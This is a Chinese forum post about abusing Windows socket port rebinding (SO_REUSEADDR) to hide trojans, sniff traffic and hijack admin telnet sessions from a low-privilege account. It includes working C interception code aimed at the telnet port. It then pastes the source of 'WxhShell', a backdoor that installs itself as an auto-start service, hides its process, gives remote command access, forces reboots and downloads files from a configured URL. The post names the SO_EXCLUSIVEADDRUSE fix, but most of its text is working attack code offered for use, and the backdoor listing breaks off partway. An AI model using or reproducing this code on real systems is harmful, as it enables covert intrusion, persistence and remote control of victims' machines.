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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %^s;{aN*!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $G/h-6+8  
&09z`* ,  
  saddr.sin_family = AF_INET; }@MOkj  
>!O3 jb k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Nf8."EDUW  
-5,QrMM<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @w&VI6  
p48M7OV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e^kccz2f  
4DI.R K9  
  这意味着什么?意味着可以进行如下的攻击: RG/M-  
?:l3O_U 5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Awl4*J~  
a@`15O:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =H6"\`W  
~qQSt%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4 zuM?Dp  
YW55iyM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lJ.:5$2H  
'Lu7cb^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <>/0 ;J1<  
PD$XLZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z =1 J{]  
Kp?):6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nEu,1  
!|6M,Rk_  
  #include yO Ed8  
  #include K3*8JF7_F  
  #include 0<*R 0  
  #include    O{Bll;C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   yf`Nh  
  int main() 0[ MQp"z  
  { {<0=y#@u  
  WORD wVersionRequested; i5wXT  
  DWORD ret; +U/+iI>0  
  WSADATA wsaData; %!%G\nv  
  BOOL val; \GYh"5  
  SOCKADDR_IN saddr; (|%YyRaX  
  SOCKADDR_IN scaddr; = Q|_v}  
  int err; u&Q2/Y  
  SOCKET s; ol]"r5#Q_H  
  SOCKET sc; _mVq9nBEf  
  int caddsize; ~EJVlj i  
  HANDLE mt; ufF$7@(+  
  DWORD tid;   OZ 4uk.)  
  wVersionRequested = MAKEWORD( 2, 2 ); S <~"\<ED  
  err = WSAStartup( wVersionRequested, &wsaData ); X,VOKj.%  
  if ( err != 0 ) { '>dsROB->  
  printf("error!WSAStartup failed!\n"); 3vRRL  
  return -1; |9>?{ B\a  
  } P 1`X<A  
  saddr.sin_family = AF_INET; z5G<h  
   <)n8lIK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 # \9sCnb  
#T<<{ RA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S1oRMd)r  
  saddr.sin_port = htons(23); sLiKcR8^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ',GWH:B  
  { Z)E[Bv=  
  printf("error!socket failed!\n"); 6 ,jp-`  
  return -1; RbB y8ZVM  
  } Zp'c>ty=  
  val = TRUE; [ySO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j2O?]M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9x;CJhX  
  { !14aw9Q  
  printf("error!setsockopt failed!\n"); nXHU|5.I  
  return -1; dx['7l;I  
  } <Stfqa6FJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dIk/vg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sOzmw^7   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~=HrD?-99p  
1.\|,$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3S4'x4*  
  { <P&~k\BuF{  
  ret=GetLastError(); H9nVtS{x  
  printf("error!bind failed!\n"); 9W{`$30  
  return -1; !Ld0c4  
  } JU^ {!u  
  listen(s,2); Vk%[N>  
  while(1) L ;5R*)t  
  { q{D_p[q  
  caddsize = sizeof(scaddr); Fy1@B(V%  
  //接受连接请求 (!kd9uV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /G)Y~1ASA%  
  if(sc!=INVALID_SOCKET) pqmb&"l  
  { .b'o}DLa  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ygt7;};!  
  if(mt==NULL) cQkH4>C~  
  { awP ']iE  
  printf("Thread Creat Failed!\n"); 4o7(cP  
  break;  N7%iz+  
  } EB8=*B8  
  } f-6hcd@Ca  
  CloseHandle(mt); @0}Q"15,I  
  } 5 9$B z'LY  
  closesocket(s); (`S32,=TS  
  WSACleanup(); ! 63>II  
  return 0; Z"spua5  
  }   WjfUbKg0  
  DWORD WINAPI ClientThread(LPVOID lpParam) r![RRa^  
  { piq1cV  
  SOCKET ss = (SOCKET)lpParam; a/ d'(]  
  SOCKET sc; kMD:~ V  
  unsigned char buf[4096]; Q'?{_  
  SOCKADDR_IN saddr; Pl|e?Np  
  long num; -$Y@]uf^  
  DWORD val; 8yr_A[S8.  
  DWORD ret; ;3ZHm*xJx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y{c_5YYf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zY?GO"U"  
  saddr.sin_family = AF_INET; RU} M&&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cEkf9:_La  
  saddr.sin_port = htons(23); qs\ O(K8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A2Je*Gz  
  { 29:1crzx~  
  printf("error!socket failed!\n"); }T<[JXh=J  
  return -1; );4lM%]eb  
  } r>v_NKS]t  
  val = 100; $dr=M (&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  ByP  
  {  Fa  
  ret = GetLastError(); $nR1AOm}.B  
  return -1; c\2+f7o@  
  } jKFypIZ4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r!/=Iy@  
  { py9zDWk~  
  ret = GetLastError(); k-;%/:Om  
  return -1; qJq49}2  
  } UhQsT^b_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {(mT,}`4  
  { AvW2)+6G  
  printf("error!socket connect failed!\n"); G2#={g{  
  closesocket(sc); 1pe eecE  
  closesocket(ss); DPENYr  
  return -1; IyTL|W6  
  } t__UqCq~h  
  while(1) j$Ttoo  
  { c.5?Q >!+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q}-q[p? 5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bMT1(edm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Jt4&%b-T  
  num = recv(ss,buf,4096,0); 6"+/Imb-  
  if(num>0) U`gQ7  
  send(sc,buf,num,0); ]"'$i4I{R  
  else if(num==0) T &.ZeB1  
  break; \^<eJf D  
  num = recv(sc,buf,4096,0); eow6{CD8  
  if(num>0) _g+^jR4  
  send(ss,buf,num,0); 2[WH8l+  
  else if(num==0) =nQ"ye  
  break; }6#lE,\lM  
  } 5<o8prt B  
  closesocket(ss); j$l[OZ:#  
  closesocket(sc); /S29\^  
  return 0 ; >Mml+4<5  
  } fhx_v^< X  
D ==H{c1F  
U1pL `P1  
==========================================================  3*@ sp  
r^3QDoy  
下边附上一个代码,,WXhSHELL %'2DEt??  
j{)_&|^{  
========================================================== \x JGR!  
.h)o\6Wq  
#include "stdafx.h" uyr56  
9 yH/5'  
#include <stdio.h> gg ;&a(  
#include <string.h> Rs@2Pe$3  
#include <windows.h> J7q]|9Hus|  
#include <winsock2.h> u&)+~X  
#include <winsvc.h> "#uXpCuw  
#include <urlmon.h> MCN}p i  
9|yn{4E  
#pragma comment (lib, "Ws2_32.lib") sjBP#_lW  
#pragma comment (lib, "urlmon.lib") l7G&[\~  
o&2(xI2  
#define MAX_USER   100 // 最大客户端连接数 i7h!,vaK  
#define BUF_SOCK   200 // sock buffer 6FMW}*6<  
#define KEY_BUFF   255 // 输入 buffer x!CCSM;q  
?yKW^,q+  
#define REBOOT     0   // 重启 _yje"  
#define SHUTDOWN   1   // 关机 N?`-$C ]  
?C#=Q6  
#define DEF_PORT   5000 // 监听端口 YVy+1q[  
C3|(XChqC  
#define REG_LEN     16   // 注册表键长度 kh3PEq   
#define SVC_LEN     80   // NT服务名长度 _tE`W96J  
n[Jpy[4g  
// 从dll定义API 98u$5=Z' /  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OhT?W[4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n[#!Q`D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =]r<xON%S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); STMc@MeZU_  
yLfb'Ba  
// wxhshell配置信息 --SlxV/x  
struct WSCFG { bYT,f.,5{  
  int ws_port;         // 监听端口 }K\] M@  
  char ws_passstr[REG_LEN]; // 口令 DgOO\  
  int ws_autoins;       // 安装标记, 1=yes 0=no h+o-h4X  
  char ws_regname[REG_LEN]; // 注册表键名 s53 Pw>f  
  char ws_svcname[REG_LEN]; // 服务名 %";bgU2Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >"qnuv G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R +H0+omj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X) lzBM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :BLD &mb"Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hS) X`M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >5Vv6_CI0?  
H+&c=~D\_  
}; 7hPiPv  
> %5<fK2  
// default Wxhshell configuration +o]DT7W  
struct WSCFG wscfg={DEF_PORT, E0XfM B]+  
    "xuhuanlingzhe", b(8#*S!U  
    1, Yj+p^@{S2P  
    "Wxhshell", OZ2gIK  
    "Wxhshell", 5[Sa7Mk  
            "WxhShell Service", }?zy*yL  
    "Wrsky Windows CmdShell Service", 0Da9,&D  
    "Please Input Your Password: ", }^).Y7{g[  
  1, 4(5NHsvp  
  "http://www.wrsky.com/wxhshell.exe", W0GDn  
  "Wxhshell.exe" z:B4  
    }; Ogp Zwwk  
if6/ +7  
// 消息定义模块 m[~fT(NI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =aM(r6 C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~>:uMXyV2t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  QKW;r  
char *msg_ws_ext="\n\rExit."; 3z$9jN/<u  
char *msg_ws_end="\n\rQuit."; \A@Mlpe&t  
char *msg_ws_boot="\n\rReboot..."; ,Y|WSKY*  
char *msg_ws_poff="\n\rShutdown..."; d{?X:*F  
char *msg_ws_down="\n\rSave to "; L F\4>(C2g  
.t\#>Fe  
char *msg_ws_err="\n\rErr!"; }Gmwm|`*  
char *msg_ws_ok="\n\rOK!"; |E/r64T  
9VyY [&  
char ExeFile[MAX_PATH]; L;d(|7BVv  
int nUser = 0; 5;{Q >n  
HANDLE handles[MAX_USER]; Ke0j8|  
int OsIsNt; :77dl/d%  
]"Y? ZS;H  
SERVICE_STATUS       serviceStatus; G:'hT=8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xVOoYr>O  
IKT3T_\-I  
// 函数声明 $n |)M+d  
int Install(void); ,,_$r7H`  
int Uninstall(void); r+6=b"  
int DownloadFile(char *sURL, SOCKET wsh); B%P g:|  
int Boot(int flag); I<p- o/TP  
void HideProc(void); Z(F`M;1>xI  
int GetOsVer(void); JHN{vB  
int Wxhshell(SOCKET wsl); b4o`eR  
void TalkWithClient(void *cs); `acX1YWh5  
int CmdShell(SOCKET sock); 7[=MgnmuC  
int StartFromService(void); G.CkceWRn  
int StartWxhshell(LPSTR lpCmdLine); ~\;s}Fv.  
JDi\?m d.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _.b^4^[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t= =+SHGP  
R(jp  
// 数据结构和表定义 b^WTX  
SERVICE_TABLE_ENTRY DispatchTable[] = Bf {h\>q  
{ q~QB?+ x&  
{wscfg.ws_svcname, NTServiceMain}, s,&tD WU  
{NULL, NULL} sFh mp  
}; .UJp#/EHs  
v<+5B5"1  
// 自我安装 8t4o}3>  
int Install(void) |Nx7jGd:i  
{ Tf [o'=2  
  char svExeFile[MAX_PATH]; #^|"dIZ_M  
  HKEY key; K"lZwU\:On  
  strcpy(svExeFile,ExeFile); S6~&g|T,  
OsQB` D  
// 如果是win9x系统,修改注册表设为自启动 X@:[.eI~  
if(!OsIsNt) {  R d|#-7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KmUH([#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2y"]rUS`  
  RegCloseKey(key); ;8!L*uMI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &-l(nr]h]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A.`) 0dV  
  RegCloseKey(key); -u!{8S~wA  
  return 0; EZICH&_  
    } "n,? )  
  } y2nwDw(xF  
} Pe-1o#7~W  
else { >M~wFs$~  
QQ1|]/)  
// 如果是NT以上系统,安装为系统服务 CF|4, K)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &x= PAu  
if (schSCManager!=0) t|/{oAj  
{ Ft} h&aYP  
  SC_HANDLE schService = CreateService ?4G/f<ou  
  ( >fX_zowX  
  schSCManager, IYZ$a/{P  
  wscfg.ws_svcname, 3m2hB%SNb  
  wscfg.ws_svcdisp, $F^p5EXkc6  
  SERVICE_ALL_ACCESS, H_ecb;|mP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ix.I)  
  SERVICE_AUTO_START, |2ttdc.  
  SERVICE_ERROR_NORMAL, 6;JlA})  
  svExeFile, j>D[iHrH  
  NULL, wtm=  
  NULL, j,:vK  
  NULL, B)^uGS W  
  NULL, -pb>=@Yq  
  NULL o3=2`BvJ  
  ); 1MVzu7  
  if (schService!=0) ^p@ #  
  { 8ux?K5_  
  CloseServiceHandle(schService); 1$A7BP  
  CloseServiceHandle(schSCManager); 5;:P^[cH9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eyUhM jd  
  strcat(svExeFile,wscfg.ws_svcname); d5 U?*   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T~&9/%$F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M.*3qWM  
  RegCloseKey(key); 5!tiu4LU  
  return 0; 2.6F5&:($  
    } ;s$bVGHr  
  } 9/LnO'&-  
  CloseServiceHandle(schSCManager); -FxE!K  
} JZc"4qf@OT  
} d z-  
RxeyMNd  
return 1; -c_}^j  
} 5:" zs  
mmf}6ABYT  
// 自我卸载 -D?-ctFYj^  
int Uninstall(void) .YYLMI  
{ J.t tJOP  
  HKEY key; =zetZJg  
0vi)m y;!  
if(!OsIsNt) { =Su~i Oa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0P?\eoB@8  
  RegDeleteValue(key,wscfg.ws_regname); N51g<K  
  RegCloseKey(key); xoT|fgb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e7# B?  
  RegDeleteValue(key,wscfg.ws_regname); [H-r0Ah  
  RegCloseKey(key); 1I^uq>r  
  return 0; bOvMXj/HV=  
  } @U)k~z2Hk  
} n"Gow/-;  
} q8Z,XfF^S  
else { iUH{rh!  
&I=27!S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v&#=1Zb  
if (schSCManager!=0) xllk hD4F  
{ <aScA`\B#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M@ TXzn!&o  
  if (schService!=0) et-<ib<lY  
  { r=S6yq}  
  if(DeleteService(schService)!=0) { _--kK+rU  
  CloseServiceHandle(schService); &IZthJqV  
  CloseServiceHandle(schSCManager); < .\2 Ec  
  return 0; z]\CI:  
  } q.GA\o  
  CloseServiceHandle(schService); #0F6{&; M  
  }  o(q][:,h  
  CloseServiceHandle(schSCManager); li`4&<WGC  
} 3Mlwq'pzD  
} M@wQ6ow  
-_4ZT^.Lna  
return 1; ?J1x'/G  
} _7^4sR8=  
jf|5}5kSlf  
// 从指定url下载文件 r/G6O  
int DownloadFile(char *sURL, SOCKET wsh) r6u ) 6J=  
{ c^%vyBMY  
  HRESULT hr; Uiz#QGt  
char seps[]= "/"; XZ3)gYQi  
char *token; Y)7LkZO(y  
char *file; uyfH;9L5$  
char myURL[MAX_PATH]; eHt |O~  
char myFILE[MAX_PATH]; --t5jSS44  
.3Ag6YI0N  
strcpy(myURL,sURL); Z: e|~#  
  token=strtok(myURL,seps); @C=Dk  
  while(token!=NULL) `g~T #U\>d  
  { S,'y L7s  
    file=token; =Y-ZI  
  token=strtok(NULL,seps); N8-!}\,  
  } bq}hj Cy  
^kF-mM=  
GetCurrentDirectory(MAX_PATH,myFILE); 'x{E#4A  
strcat(myFILE, "\\"); *pZhwO !D  
strcat(myFILE, file); kv)IG$S 0  
  send(wsh,myFILE,strlen(myFILE),0); <z2*T \B!8  
send(wsh,"...",3,0); # $dk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MU-T>S4  
  if(hr==S_OK) HAHLF+k  
return 0; LYV\|a{Y  
else 6Z,j^: B  
return 1; 5|pPzEA>  
%YhM?jMW  
} 0IP5 &[-P  
HK/T`p#  
// 系统电源模块 ^Hplrwj}  
int Boot(int flag) AlH\IP  
{ b5Sgf'B^  
  HANDLE hToken; L6jD4ec8  
  TOKEN_PRIVILEGES tkp; n$}) }kj  
bt2`elH|  
  if(OsIsNt) { L)!9+!PKD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AD=qB5:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  HuCzXl  
    tkp.PrivilegeCount = 1; VD).UdUn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DNu^4#r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ([+u U!  
if(flag==REBOOT) { j1sZRl)D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ar#Xe;T!  
  return 0; u5LrZt]k  
} EU0b>2n4  
else { 555*IT3b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F79!B  
  return 0; 7/:C[J4GTN  
} GmJ4AYEP  
  } $!Pm*s  
  else { Z}E.s@w  
if(flag==REBOOT) { i`F8kg`_K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #$ Q2ijT0  
  return 0; -76l*=|  
} }0%~x,  
else {  oRbG6Vv/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G5R"5d'  
  return 0; :hA=(iz  
} |hlc#t ?  
} ];n3H~2  
7[)IP:I>  
return 1; R54wNm @  
}  Q9!T@  
, (Bo .(]  
// win9x进程隐藏模块 c-dOb.v0  
void HideProc(void) i- v PJg1  
{ %( tu<  
2L!wbeTb;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SMMsXH  
  if ( hKernel != NULL ) UUuB Rtau  
  { Ns*&;x9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aJmSagr69C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >;9+4C<z0  
    FreeLibrary(hKernel); 6H)T=Z|  
  } s_j ?L  
>&mNC \PA  
return; =jWcD{;1I}  
} 2(<2Gnpl  
e{*-_j "I  
// 获取操作系统版本 42{\u08Z  
int GetOsVer(void) @Z fQ)q\  
{ n&4 4Acs[  
  OSVERSIONINFO winfo; 3b#eB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i 1{Lx)  
  GetVersionEx(&winfo); =[7[F)I~O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DF>LN%a~  
  return 1; A5A4*.C  
  else +;ILj<!Z7  
  return 0; C1V@\mRi  
} :L E&p[^  
a(qij&>  
// 客户端句柄模块 ^5:xSQ@:  
int Wxhshell(SOCKET wsl) I &jiH)  
{ q3CcXYY  
  SOCKET wsh; )U?O4| \P  
  struct sockaddr_in client; D (>,#F  
  DWORD myID; m7|}PH" 7  
|v'_Co0ki  
  while(nUser<MAX_USER) VN5UJ!$?J  
{ p,)~w1|  
  int nSize=sizeof(client); D;@nrj`.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^E)*i#."4  
  if(wsh==INVALID_SOCKET) return 1; Ui^~A  
zn=Ifz)#|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YEg(QOn3Q  
if(handles[nUser]==0) 19r4J(pV  
  closesocket(wsh); `~0^fSww  
else 3t*e|Ih&j5  
  nUser++; 1hz:AUH  
  } H;eGBVi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g ss 3e&  
L355uaj  
  return 0; TVVr<r  
} ^iHwv*ss  
t,f)!D$  
// 关闭 socket 'UW(0 PXw  
void CloseIt(SOCKET wsh) q$<M2  
{ \$iU#Z  
closesocket(wsh); _~{Nco7T  
nUser--; !ULU#2'1  
ExitThread(0); .w.jT"uD!  
} 6ojEEM  
E6=JL$"  
// 客户端请求句柄 sv g`s,g  
void TalkWithClient(void *cs) ;VL v2J*  
{ e\[z Q 2Z3  
E/OJ}3Rf  
  SOCKET wsh=(SOCKET)cs; -$; h+9BO  
  char pwd[SVC_LEN]; b,k%n_&n  
  char cmd[KEY_BUFF]; rmzM}T\20  
char chr[1]; ? 0}M'L  
int i,j; >E9:3&[F  
4Z& i\#Q  
  while (nUser < MAX_USER) { ~)ecQ  
t=K;/ 1  
if(wscfg.ws_passstr) { } ^}fx [  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #TXN\YNP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BeNH"Y:E  
  //ZeroMemory(pwd,KEY_BUFF); Gl4(-e'b  
      i=0; ek^=Z`  
  while(i<SVC_LEN) { <8JV`dTywC  
em@bxyMm  
  // 设置超时 }Sxuc/%:  
  fd_set FdRead; 0G`FXj}L  
  struct timeval TimeOut; sp/l-a  
  FD_ZERO(&FdRead); ^"U-\cx  
  FD_SET(wsh,&FdRead); _4#8o\  
  TimeOut.tv_sec=8; IQ5H`o?[B  
  TimeOut.tv_usec=0; cEP!DUo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cIm_~HH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (Ov{gj^  
)t$<FP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /YyimG7  
  pwd=chr[0]; _D{V(c<WD  
  if(chr[0]==0xd || chr[0]==0xa) { \BoRYb9h  
  pwd=0; M<AjtDF%  
  break; ;T9u$4 <  
  } tR! !Q  
  i++; uA'S8b%C  
    } :Z}d#Rbl  
ae&i]K;  
  // 如果是非法用户,关闭 socket TIs~?wb$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TpHvZ]c  
} DaA9fJ7a   
d~G, *  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D.Q9fa&P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !vaS fL*]  
p}b:(QN~m  
while(1) { c Nhy.Z~D  
<~%e{F:[#  
  ZeroMemory(cmd,KEY_BUFF); S,=#b 4\#%  
zK Y 9 'y  
      // 自动支持客户端 telnet标准   f>*D@TrU  
  j=0; xla64Qld  
  while(j<KEY_BUFF) { 0`LR!X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {.D^2mj |  
  cmd[j]=chr[0]; J'Z!`R|  
  if(chr[0]==0xa || chr[0]==0xd) { MHuQGc"e+4  
  cmd[j]=0; Xscm>.di  
  break; WDM^rjA|j  
  } JlM0]__v  
  j++; .nN>Ipv  
    } k3pY3TA@w+  
0wh4sKm[X  
  // 下载文件 ],?rFK{O  
  if(strstr(cmd,"http://")) { }!&Vcf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gr&)5hm$  
  if(DownloadFile(cmd,wsh)) D?)^{)49  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /K@_O\+;Q  
  else *2? -6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CTNeh%K;  
  } dGNg[  
  else { 'e/= !"T  
"vH>xBR[%  
    switch(cmd[0]) { tK|jh  
  pX\Y:hCug  
  // 帮助 FLb Q#c\  
  case '?': { 1TOT}h5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >Q`\|m}x)Q  
    break; 5t,W'a_  
  } +1te8P*  
  // 安装 ]c Or$O*  
  case 'i': { b3zxiq x  
    if(Install()) s`Y8 &e.Yr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -msfiO  
    else ']x`d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &F8N$H  
    break; bh[`uRC}  
    } T3JM8  
  // 卸载 =SY`Xkj[  
  case 'r': { 7,.3'cCL^  
    if(Uninstall()) e"){B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B@8M2Pl  
    else -MCDX^ >P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dr54 D  
    break; oB$P6   
    } 4@Q`8N.  
  // 显示 wxhshell 所在路径 !U 6 x_  
  case 'p': { Xcy Xju#"p  
    char svExeFile[MAX_PATH]; c=^A3[AM  
    strcpy(svExeFile,"\n\r"); [}GPo0GY  
      strcat(svExeFile,ExeFile); &ody[k?'  
        send(wsh,svExeFile,strlen(svExeFile),0); +s`HTf  
    break; t&oNC6  
    } w@jC#E\  
  // 重启 J%:D%=9 )  
  case 'b': { UhI T!x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @_ZE_n  
    if(Boot(REBOOT)) w[/_o,R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2fa1jl  
    else { .8v[ss6:  
    closesocket(wsh); 6AA "JX  
    ExitThread(0); ++d%D9*V<  
    } g5\EVcHkz  
    break; %mO.ur>21  
    } v J_1VW  
  // 关机 =B/Ac0Y  
  case 'd': { )R- e^Cb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ) ]y^RrD  
